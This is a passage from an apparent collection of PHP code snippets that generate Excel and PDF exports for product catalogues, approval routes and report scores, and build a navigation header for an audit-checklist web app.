'height';\n\t\t$data[$j++] = 'length_unit';\n\t\t$data[$j++] = 'status';\n\t\t$data[$j++] = 'tax_class_id';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'seo_keyword';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'description('.$language['code'].')';\n\t\t}\n\t\tif ($exist_meta_title) {\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$styles[$j] = &$text_format;\n\t\t\t\t$data[$j++] = 'meta_title('.$language['code'].')';\n\t\t\t}\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'meta_description('.$language['code'].')';\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'meta_keywords('.$language['code'].')';\n\t\t}\n\t\t$data[$j++] = 'stock_status_id';\n\t\t$data[$j++] = 'store_ids';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'layout';\n\t\t$data[$j++] = 'related_ids';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'tags('.$language['code'].')';\n\t\t}\n\t\t$data[$j++] = 'sort_order';\n\t\t$data[$j++] = 'subtract';\n\t\t$data[$j++] = 'minimum';\n\t\t$worksheet->getRowDimension($i)->setRowHeight(30);\n\t\t$this->setCellRow( $worksheet, $i, $data, $box_format );\n\n\t\t// The actual instruments data\n\t\t$i += 1;\n\t\t$j = 0;\n\t\t$store_ids = $this->getStoreIdsForInstruments();\n\t\t$layouts = $this->getLayoutsForInstruments();\n\t\t$instruments = $this->getInstruments( $languages, $default_language_id, $instrument_fields, $exist_meta_title, $offset, $rows, $min_id, $max_id );\n\t\t$len = count($instruments);\n\t\t$min_id = $instruments[0]['instrument_id'];\n\t\t$max_id = $instruments[$len-1]['instrument_id'];\n\t\tforeach ($instruments as $row) {\n\t\t\t$data = array();\n\t\t\t$worksheet->getRowDimension($i)->setRowHeight(26);\n\t\t\t$instrument_id = $row['instrument_id'];\n\t\t\t$data[$j++] = $instrument_id;\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['categories'];\n\t\t\t$data[$j++] = $row['sku'];\n\t\t\t$data[$j++] = $row['upc'];\n\t\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['ean'];\n\t\t\t}\n\t\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['jan'];\n\t\t\t}\n\t\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['isbn'];\n\t\t\t}\n\t\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['mpn'];\n\t\t\t}\n\t\t\t$data[$j++] = $row['location'];\n\t\t\t$data[$j++] = $row['quantity'];\n\t\t\t$data[$j++] = $row['model'];\n\t\t\t$data[$j++] = $row['manufacturer'];\n\t\t\t$data[$j++] = $row['image_name'];\n\t\t\t$data[$j++] = ($row['shipping']==0) ? 'no' : 'yes';\n\t\t\t$data[$j++] = $row['price'];\n\t\t\t$data[$j++] = $row['points'];\n\t\t\t$data[$j++] = $row['date_added'];\n\t\t\t$data[$j++] = $row['date_modified'];\n\t\t\t$data[$j++] = $row['date_available'];\n\t\t\t$data[$j++] = $row['weight'];\n\t\t\t$data[$j++] = $row['weight_unit'];\n\t\t\t$data[$j++] = $row['length'];\n\t\t\t$data[$j++] = $row['width'];\n\t\t\t$data[$j++] = $row['height'];\n\t\t\t$data[$j++] = $row['length_unit'];\n\t\t\t$data[$j++] = ($row['status']==0) ? 'false' : 'true';\n\t\t\t$data[$j++] = $row['tax_class_id'];\n\t\t\t$data[$j++] = ($row['keyword']) ? $row['keyword'] : '';\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['description'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\tif ($exist_meta_title) {\n\t\t\t\tforeach ($languages as $language) {\n\t\t\t\t\t$data[$j++] = html_entity_decode($row['meta_title'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['meta_description'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['meta_keyword'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['stock_status_id'];\n\t\t\t$store_id_list = '';\n\t\t\tif (isset($store_ids[$instrument_id])) {\n\t\t\t\tforeach ($store_ids[$instrument_id] as $store_id) {\n\t\t\t\t\t$store_id_list .= ($store_id_list=='') ? $store_id : ','.$store_id;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data[$j++] = $store_id_list;\n\t\t\t$layout_list = '';\n\t\t\tif (isset($layouts[$instrument_id])) {\n\t\t\t\tforeach ($layouts[$instrument_id] as $store_id => $name) {\n\t\t\t\t\t$layout_list .= ($layout_list=='') ? $store_id.':'.$name : ','.$store_id.':'.$name;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data[$j++] = $layout_list;\n\t\t\t$data[$j++] = $row['related'];\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['tag'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['sort_order'];\n\t\t\t$data[$j++] = ($row['subtract']==0) ? 'false' : 'true';\n\t\t\t$data[$j++] = $row['minimum'];\n\t\t\t$this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );\n\t\t\t$i += 1;\n\t\t\t$j = 0;\n\t\t}\n\t}", "public function action_list_approval_department(){\n\n $param = \\Input::param();\n $export_date = isset($param['export_date'])?date('Y-m-d', strtotime($param['export_date'])):date('Y-m-d');\n\n $objPHPExcel = new \\PHPExcel();\n $objPHPExcel->getProperties()->setCreator('Vision')\n ->setLastModifiedBy('Vision')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('Route File');\n\n $header = ['事業本部コード','事業本部','事業部コード','事業部','部門コード','部門', '適用開始日', '適用終了日','第1 承認者','第2 承認者','第3 承認者','第4 承認者','第5 承認者','第6 承認者','第7 承認者','第8 承認者','第9 承認者'];\n $last_column = null;\n foreach($header as $i=>$v){\n $column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n $objPHPExcel->getActiveSheet()->getStyle($column.'1')\n ->applyFromArray([\n 'font' => [\n 'name' => 'Times New Roman',\n 'bold' => true,\n 'italic' => false,\n 'size' => 10,\n 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n ],\n 'alignment' => [\n 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n 'wrap' => false\n ]\n ]);\n switch($i+1){\n case 1:\n case 3:\n case 5:\n $width = 10;\n break;\n case 2:\n $width = 18;\n break;\n case 4:\n case 6:\n $width = 30;\n break;\n default:\n $width = 20;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n \n /*====================================\n * Get list user has department enable_start_date >= export day <= enable_end_date\n * Or enable_start_date >= export day && enable_end_date IS NULL\n *====================================*/\n $query = \\DB::select('MAD.*',\n \\DB::expr('BUS.code AS business_code'), \\DB::expr('BUS.name AS business_name'), \n \\DB::expr('DIV.code AS division_code'),\\DB::expr('DIV.name AS division_name'),\n \\DB::expr('DEP.name AS department_name'), \\DB::expr('DEP.code AS department_code'), \\DB::expr('DEP.sub_code AS department_sub_code'))\n ->from(['m_approval_department', 'MAD'])\n ->join(['m_department', 'DEP'], 'left')->on('DEP.id', '=', 'MAD.m_department_id')->on('DEP.level', '=', \\DB::expr(3))\n ->join(['m_department', 'DIV'], 'left')->on('DIV.id', '=', 'DEP.parent')->on('DIV.level', '=', \\DB::expr(2))\n ->join(['m_department', 'BUS'], 'left')->on('BUS.id', '=', 'DIV.parent')->on('BUS.level', '=', \\DB::expr(1))\n ->where('MAD.item_status', '=', 'active')\n ->where('DEP.allow_export_routes', '=', 1)\n\n ->and_where('DEP.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('DEP.enable_start_date'), \\DB::expr('DEP.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('DEP.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('DEP.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n \n ->and_where('MAD.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('MAD.enable_start_date'), \\DB::expr('MAD.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('MAD.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('MAD.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n\n ->group_by('MAD.m_department_id', 'MAD.enable_start_date')\n ;\n $items = $query->execute()->as_array();\n \n \n //set content\n $i = 0;\n foreach($items as $item){\n $row = $i+2;\n // \\Vision_Common::system_format_date(strtotime($user['entry_date'])):null)\n $objPHPExcel->setActiveSheetIndex()->setCellValue('A'.$row,$item['business_code'])\n ->setCellValue('B'.$row,$item['business_name'])\n ->setCellValue('C'.$row,$item['division_code'])\n ->setCellValue('D'.$row,$item['division_name'])\n ->setCellValue('E'.$row,$item['department_code'])\n ->setCellValue('F'.$row,$item['department_name'])\n ->setCellValue('G'.$row,$item['enable_start_date']?\\Vision_Common::system_format_date(strtotime($item['enable_start_date'])):null)\n ->setCellValue('H'.$row,$item['enable_end_date']?\\Vision_Common::system_format_date(strtotime($item['enable_end_date'])):null)\n ;\n\n //Get user of routes\n $query = \\DB::select('MU.fullname')\n ->from(['m_user', 'MU'])\n ->join(['m_approval_department', 'MAD'], 'left')->on('MAD.m_user_id', '=', 'MU.id')\n ->where('MU.item_status', '=', 'active')\n ->and_where('MAD.item_status', '=', 'active')\n ->and_where('MAD.m_department_id', '=', $item['m_department_id'])\n ->and_where('MAD.enable_start_date', '=', $item['enable_start_date'])\n ->order_by('MAD.order', 'ASC')\n ;\n $users = $query->execute()->as_array(); \n if(!empty($users)){\n $col = 8;\n foreach ($users as $user) {\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['fullname']);\n $col++;\n }\n }\n\n $i++;\n }\n\n\n $format = ['alignment'=>array('horizontal'=> \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,'wrap'=>true)];\n $objPHPExcel->getActiveSheet()->getStyle('A1:U1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:U1')->getFill()->getStartColor()->setRGB('25a9cb');\n\n header(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"決裁経路(組織)-'.$export_date.'.xls\"');\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n $objWriter->save('php://output');\n exit; \n }", "public function getTableRowNames()\n \t{\n \t\treturn array('title', 'author', 'publishDate', 'client', 'workType', 'briefDescription', 'description', 'caseStudyID', 'isPrivate', 'commentsAllowed', 'screenshots', 'prevImageURL', 'finalURL');\n \t}", "public function makeTable($header, $data) {\n $this->SetFillColor(255, 0, 0);\n $this->SetTextColor(255);\n $this->SetDrawColor(128, 0, 0);\n $this->SetLineWidth(.3);\n $this->SetFont('', 'B');\n // Header\n $w = array(10, 25, 40, 10, 25, 15, 60, 10, 10, 10, 10, 10, 10, 10, 10, 10);\n for ($i = 0; $i < count($header); $i++)\n if ($i == 0) {\n $this->Cell($w[$i], 7, $header[$i], 1, 0, 'C', true);\n } else {\n $this->Cell($w[$i], 7, $header[$i], 1, 0, 'L', true);\n }\n $this->Ln();\n // Color and font restoration\n $this->SetFillColor(224, 235, 255);\n $this->SetTextColor(0);\n $this->SetFont('');\n // Data\n $fill = false;\n\n foreach ($data as $row) {\n $this->nr++;\n $this->Cell($w[0], 6, $this->nr, 'LR', 0, 'C', $fill);\n $this->Cell($w[1], 6, $row['article'], 'LR', 0, 'L', $fill);\n $this->Cell($w[2], 6, $row['brand'], 'LR', 0, 'L', $fill);\n $this->Cell($w[3], 6, $row['inch'], 'LR', 0, 'L', $fill);\n $this->Cell($w[4], 6, $row['size'], 'LR', 0, 'L', $fill);\n $this->Cell($w[5], 6, $row['lisi'], 'LR', 0, 'L', $fill);\n $this->Cell($w[6], 6, $row['design'], 'LR', 0, 'L', $fill);\n $this->Cell($w[7], 6, $row['onhand'], 'LR', 0, 'C', $fill);\n $this->Cell($w[8], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[9], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[10], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[11], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[12], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[13], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[14], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[15], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Ln();\n $fill = !$fill;\n }\n // Closing line\n $this->Cell(array_sum($w), 0, '', 'T');\n }", "public function export()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t// Panggil class PHPExcel nya\n\t\t$excel = new PHPExcel();\n\n\t\t// Settingan awal fil excel\n\t\t$excel->getProperties()->setCreator('PT Pelindo')\n\t\t\t->setLastModifiedBy('PT Pelindo')\n\t\t\t->setTitle(\"Rekap Rapor Akhlak\")\n\t\t\t->setSubject(\"Rekap Rapor Akhlak\")\n\t\t\t->setDescription(\"Rekap Rapor Akhlak\")\n\t\t\t->setKeywords(\"Rekap Rapor Akhlak\");\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n\t\t$style_col = array(\n\t\t\t'font' => array('bold' => true), // Set font nya jadi bold\n\t\t\t'alignment' => array(\n\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n\t\t$style_row = array(\n\t\t\t'alignment' => array(\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A1', \"Rekap Rapor Akhlak\"); // Set kolom A1 dengan tulisan \"Rekap Rapor Akhlak\"\n\t\t$excel->getActiveSheet()->mergeCells('A1:J1'); // Set Merge Cell pada kolom A1 sampai E1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n\t\t// Buat header tabel nya pada baris ke 3\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('B3', \"NAMA CABANG\"); // Set kolom B3 dengan tulisan \"NIS\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('C3', \"NILAI AMANAH\"); // Set kolom C3 dengan tulisan \"NAMA\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('D3', \"NILAI KOMPETEN\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('E3', \"NILAI HARMONIS\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('F3', \"NILAI LOYAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('G3', \"NILAI ADAPTIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('H3', \"NILAI KOLABORATIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('I3', \"NILAI TOTAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('J3', \"TANGGAL UPLOAD\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\n\t\t// Apply style header yang telah kita buat tadi ke masing-masing kolom header\n\t\t$excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('H3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('I3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('J3')->applyFromArray($style_col);\n\n\t\t// Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n\t\t$siswa = $this->RaporModel->view();\n\n\t\t$no = 1; // Untuk penomoran tabel, di awal set dengan 1\n\t\t$numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n\t\tforeach ($siswa as $data) { // Lakukan looping pada variabel siswa\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('A' . $numrow, $no);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $data->cabang);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $data->nilai_amanah . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $data->nilai_kompeten . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $data->nilai_harmonis . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $data->nilai_loyal . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, $data->nilai_adaptif . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $data->nilai_kolab . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $data->nilai_total . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $data->created_at);\n\n\t\t\t// Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n\t\t\t$excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row);\n\n\t\t\t$no++; // Tambah 1 setiap kali looping\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Set width kolom\n\t\t$excel->getActiveSheet()->getColumnDimension('A')->setWidth(2); // Set width kolom A\n\t\t$excel->getActiveSheet()->getColumnDimension('B')->setWidth(14); // Set width kolom B\n\t\t$excel->getActiveSheet()->getColumnDimension('C')->setWidth(14); // Set width kolom C\n\t\t$excel->getActiveSheet()->getColumnDimension('D')->setWidth(16); // Set width kolom D\n\t\t$excel->getActiveSheet()->getColumnDimension('E')->setWidth(16); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('F')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('G')->setWidth(14); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('H')->setWidth(19); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('I')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('J')->setWidth(19); // Set width kolom E\n\n\t\t// Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n\t\t$excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n\t\t// Set orientasi kertas jadi LANDSCAPE\n\t\t$excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n\t\t// Set judul file excel nya\n\t\t$excel->getActiveSheet(0)->setTitle(\"Rekap Rapor Akhlak\");\n\t\t$excel->setActiveSheetIndex(0);\n\n\t\t// Proses file excel\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment; filename=\"Rekap Rapor Akhlak.xlsx\"'); // Set nama file excel nya\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n\t\t$write->save('php://output');\n\t}", "public function setHeader() {\n $dt = date('j M, Y');\n $name_header = '';\n $ao = new Application_Model_DbTable_AuditOwner();\n if ($this->usertype != '') {\n $name_header = \"&nbsp {$this->userfullname}\";\n }\n $complete_user = array('ADMIN','USER','APPROVER');\n $complete_audit = '';\n $audit_id = $this->audit['audit_id'];\n logit(\"audit: \" . print_r($this->audit, true));\n $complete_audit .= <<<\"END\"\n<li class=\"divider\"></li>\n<li class=\"tri\"><span style=\"color:black;padding-left: 15px;\"> With Selected Audit:</span></li>\nEND;\n\n # incomplete and owned audit OR not incomplete audit can be viewed\n if (($this->audit['status'] == 'INCOMPLETE' && $this->audit['owner']) || $this->audit['status'] != 'INCOMPLETE') {\n $complete_audit .= <<<\"END\"\n<!li class=\"divider\"></li-->\n<li><a href=\"{$this->baseurl}/audit/view\"><span title=\".icon .icon-color .icon-book \" class=\"icon icon-color icon-book\"></span> View Audit</a></li>\nEND;\n }\n # only incomplete and owned audit can be edited\n if ($this->audit['status'] == 'INCOMPLETE' && $this->audit['owner']) {\n $complete_audit .= <<<\"END\"\n<!--li class=\"divider\"></li-->\n<li><a href=\"{$this->baseurl}/audit/edit/\"><span title=\".icon .icon-color .icon-edit \" class=\"icon icon-color icon-edit\"></span> Edit Audit</a></li>\nEND;\n }\n if (in_array($this->usertype, $complete_user)) {\n $complete_audit .= <<<\"END\"\n<!--li class=\"divider\"></li-->\n<li><a href=\"{$this->baseurl}/audit/exportdata\"><span title=\".icon .icon-color .icon-extlink \" class=\"icon icon-color icon-extlink\"></span> Export Audit Data</a></li>\nEND;\n if ($this->audit['owner']) {\n # $ao->isOwned($audit_id, $this->userid)) {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/delete\"\n onclick=\" return confirm('Do you want to delete Selected Audit?');\">\n <span title=\".icon .icon-color .icon-trash \" class=\"icon icon-color icon-trash\"></span>\n Delete Audit</a></li>\nEND;\n }\n $complete_audit .= <<<\"END\"\n<li class=\"divider\"></li>\n<li class=\"tri\"><span style=\"color:black;padding-left: 15px;\"> Change Audit State:</span></li>\nEND;\n if ($this->audit['status'] == 'INCOMPLETE' && $ao->isOwned($audit_id, $this->userid)) {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/complete\">\n<span title=\".icon .icon-color .icon-locked \" class=\"icon icon-color icon-locked\"></span> Mark Audit Complete</a></li>\nEND;\n }\n if ($this->audit['status'] == 'COMPLETE' && $ao->isOwned($audit_id, $this->userid)) {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/incomplete\">\n<span title=\".icon .icon-color .icon-unlocked \" class=\"icon icon-color icon-unlocked\"></span> Mark Audit Incomplete</a></li>\nEND;\n }\n if ($this->audit['status'] == 'COMPLETE' && $this->usertype == 'APPROVER') {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/finalize\"\nonclick=\" return confirm('Do you want to finalize Audit (#{$this->audit['audit_id']}-{$this->audit['tag']})?');\"><span title=\".icon .icon-color .icon-sent \" class=\"icon icon-color icon-sent\"></span> Mark Audit Finalized</a></li>\n<li><a href=\"{$this->baseurl}/audit/reject\"\n onclick=\" return confirm('Do you want to reject Audit (#{$this->audit['audit_id']}-{$this->audit['tag']})?');\"><span title=\".icon .icon-color .icon-cross \" class=\"icon icon-color icon-cross\"></span> Mark Audit Rejected</a></li>\nEND;\n }\n }\n $this->header = <<<\"END\"\n<div class=\"navbar\">\n <div class=\"navbar-inner\">\n <div class=\"container-fluid\">\n <a class=\"brand\" href=\"{$this->baseurl}{$this->mainpage}\">\n <span title=\".icon .icon-black .icon-check \" class=\"icon icon-black icon-check\"></span> <span>eChecklist</span>\n </a>\nEND;\n $newuser = '';\n if ($this->usertype != '') {\n if ($this->usertype == 'ADMIN') {\n $newuser = <<<\"END\"\n<li><a href=\"{$this->baseurl}/user/create\">\n<span title=\".icon .icon-green .icon-user \" class=\"icon icon-green icon-user\"></span> New User</a></li>\nEND;\n }\n\n $this->header = $this->header . <<<\"END\"\n<div class=\"btn-group pull-left\" style=\"margin-left:100px;\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n <span title=\".icon .icon-blue .icon-clipboard \" class=\"icon icon-blue icon-clipboard\"></span>\n <span class=\"hidden-phone\">Audit</span>\n <span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\nEND;\n if (in_array($this->usertype, $complete_user)) {\n $this->header .= <<<\"END\"\n <li><a href=\"{$this->baseurl}/audit/create\"><span title=\".icon .icon-green .icon-clipboard \" class=\"icon icon-green icon-clipboard\"></span> New Audit</a></li>\nEND;\n }\n $this->header .= <<<\"END\"\n <li><a href=\"{$this->baseurl}/audit/search\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span> Search for Audit</a></li>\n{$complete_audit}\n <li class=\"divider\"></li>\n <li><a href=\"{$this->baseurl}/audit/runreports\"><span title=\".icon .icon-color .icon-newwin \" class=\"icon icon-color icon-newwin\"></span> Run Reports</a></li>\nEND;\n\n if (in_array($this->usertype, $complete_user)) {\n $this->header .= <<<\"END\"\n <li class=\"divider\"></li>\n <li><a href=\"{$this->baseurl}/audit/import\"><span title=\".icon .icon-blue .icon-import \" class=\"icon icon-blue icon-archive\"></span> Import Audit</a></li>\nEND;\n }\n $this->header .= <<<\"END\"\n</ul>\n</div>\n\n<div class=\"btn-group pull-left\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n <span title=\".icon .icon-blue .icon-tag \" class=\"icon icon-blue icon-tag\"></span>\n <span class=\"hidden-phone\">Lab</span>\n <span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\n <li><a href=\"{$this->baseurl}/lab/create\"><span title=\".icon .icon-green .icon-tag \" class=\"icon icon-green icon-tag\"></span> New Lab</a></li>\n <li><a 